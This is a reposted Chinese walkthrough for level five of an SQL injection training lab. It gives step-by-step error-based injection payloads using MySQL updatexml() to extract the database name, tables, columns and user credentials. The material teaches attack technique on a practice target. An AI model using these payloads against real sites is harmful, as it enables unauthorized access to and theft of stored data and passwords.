SQL靶场第五关攻略
sql靶场第五关攻略
输入?id=1页面正常
输入?id=1'发现页面报错,说明存在sql报错注入
1.判断闭合点
在输入?id=1' --+页面正常,说明闭合点为单引号
这里我们就知道了单引号是他的闭合点
2.判断列数
输入?id=1' order by 3--+页面正常
输入?id=1' order by 4--+页面异常,说明存在三列
3.判断回显点
输入?id=-1' union select 1,2,3--+我们发现没有回显
这个时候我们需要用到一个函数给他构造报错updatexml()
4.查询数据库名
输入?id=1' and updatexml(1,concat(1,(database())),1)--+就得到了数据库名
4.查询表名
输入?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
5.查询列名
输入?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
6.查询数据
输入?id=1' and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+
这个不能显示所有的,我们只能用
limit 0,1
limit 1,1
...
以此类推查询(注意前面的concat参数不要写成group_concat,否则每次只能读取一个用户名)
以上就是sql靶场第五关的通关流程
原文地址:https://blog.csdn.net/mirliasheong/article/details/144223470
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!